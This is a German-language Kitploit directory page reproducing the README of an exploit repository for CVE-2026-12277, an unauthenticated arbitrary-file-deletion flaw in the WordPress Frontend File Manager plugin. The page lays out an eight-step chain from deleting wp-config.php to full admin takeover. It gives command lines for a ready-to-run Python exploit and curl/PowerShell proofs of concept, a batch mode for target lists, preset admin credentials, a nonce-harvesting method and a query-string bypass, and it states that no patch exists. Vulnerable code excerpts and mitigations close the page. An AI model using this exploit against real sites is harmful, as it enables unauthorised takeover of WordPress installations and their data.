Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - Nicht authentifizierte beliebige Dateilöschung bis hin zu RCE | Kitploit
Tools/GitHubGitHub/moritakaaz/cve-2026-12277
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Nicht authentifizierte beliebige Dateilöschung bis hin zu RCE

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Nicht authentifizierte Löschung beliebiger Dateien bis hin zu RCE

Zusammenfassung

FeldWert
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Betroffen<= 23.6
TypNicht authentifizierte Löschung beliebiger Dateien
CVSS8.7 (HIGH)
CWECWE-73 (Externe Kontrolle von Dateiname oder Pfad)
VoraussetzungGast-Upload-Modus aktiviert
PatchKeiner (Stand Juli 2026)
ForscherChamseddine Bouzaiene

Grundursache

Das Plugin speichert hochgeladene Dateipfade in den Beitrags-Metadaten (wpfm_dir_path). Der AJAX-Endpunkt wpfm_file_meta_update:

  1. Hat die Nonce-Prüfung auskommentiert (Zeilen 769-771 in files.php)
  2. Ist als nopriv registriert (ohne Authentifizierung zugänglich)
  3. Die Verteidigung unset($_REQUEST['wpfm_dir_path']) kann über PHP-request_order-Eigenheiten umgangen werden (Senden über die Query-String)

Wenn wpfm_delete_file aufgerufen wird, liest es wpfm_dir_path aus den Post-Metadaten und ruft unlink() ohne jegliche Pfadvalidierung auf.

Verwundbare Endpunkte

AJAX ActionNonce erforderlichAuth erforderlichnopriv
wpfm_file_meta_updateNEIN (auskommentiert)NeinJa (immer)
wpfm_delete_fileJaNeinJa (immer)
wpfm_upload_fileJaNeinJa (wenn Gast-Upload aktiviert)

Exploitation Chain

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

Dateien

DateiBeschreibung
exploit.pyVollständiger Python-Exploit (Erkennung → Exploit → Übernahme)
poc_curl.shBash/curl-PoC (Linux)
poc_curl.ps1PowerShell/curl-PoC (Windows)
lists.txtZiel-URLs (eine pro Zeile, für den Batch-Modus)
requirements.txtPython-Abhängigkeiten

Verwendung

Python-Exploit (Vollautomatisch)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

Nach dem Exploit – Anmeldung

Nach erfolgreichem Exploit melden Sie sich beim WordPress-Admin an:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl-PoC (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

curl-PoC (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Argumente

ArgumentErforderlichBeschreibung
-u, --urlJaZiel-WordPress-URL
-p, --pathNeinAbsoluter Pfad zu wp-config.php auf dem Server
--nonceNeinAJAX-Nonce (Auto-Extraktion überspringen)
--dbnameNeinName der Angreifer-Datenbank (Standard: wp_pwned)
--dbuserNeinDatenbankbenutzer des Angreifers (Standard: root)
--dbpassNeinDatenbankpasswort des Angreifers
--dbhostNeinDatenbankhost des Angreifers (Standard: localhost)
--proxyNeinHTTP-Proxy (z. B. http://127.0.0.1:8080)
--timeoutNeinRequest-Timeout in Sekunden (Standard: 15)
--detect-onlyNeinNur Schwachstelle erkennen, nicht ausnutzen

Wie die automatische Nonce-Extraktion funktioniert

Der Exploit sucht automatisch nach wpfm_ajax_nonce in:

  1. Häufige Seiten-Slugs: /file-manager/, /upload/, /files/, /file-upload/ usw.
  2. Direkte Datei: /file-manager.php
  3. Alle auf der Startseite gefundenen internen Links (Crawling)
  4. WP-REST-API (/wp-json/)

Die Nonce erscheint als verstecktes Eingabefeld:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Oder in lokalisiertem JavaScript:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Path-Bypass-Technik

Der Code führt unset($_REQUEST['wpfm_dir_path']) aus, um eine direkte Überschreibung zu verhindern. Der Bypass:

  1. Query-String-Injection: Senden Sie wpfm_dir_path über den URL-Query-Parameter, während andere Daten über den POST-Body übertragen werden. Das Zusammenführungsverhalten von PHP $_REQUEST erlaubt es, dass der Wert in Abhängigkeit von der request_order-Konfiguration bestehen bleibt.

  2. Vorabsetzung während des Upload-Ablaufs: Die Metadaten wpfm_dir_path werden während der anfänglichen Datei-Upload-Hooks gesetzt. Wird dies in dieser Phase ausgenutzt, ist kein Bypass erforderlich.

Getestete Umgebung

KomponenteVersion
WordPress6.9.4
PHP8.2.12
PluginFrontend File Manager 23.6
BetriebssystemWindows (XAMPP) / Linux
ErgebnisVollständige Übernahme bestätigt

Referenzen zum verwundbaren Code

Nonce deaktiviert (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Beliebiger Meta-Write (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Autorisierungs-Bypass (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

Unvalidierte Löschung (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

Pfadauflösung (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

Gegenmaßnahmen

  • Kommentierung der Nonce-Überprüfung in wpfm_file_meta_update aufheben
  • wpfm_dir_path mithilfe von realpath() und einer Präfix-Prüfung gegen das Upload-Verzeichnis validieren
  • Niemals benutzerkontrollierte Eingaben in Dateilöschungspfaden zulassen
  • Unabhängig von der Gast-Upload-Einstellung ordnungsgemäße Autorisierungsprüfungen hinzufügen

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie vor Tests immer eine schriftliche Genehmigung ein.

Tool herunterladen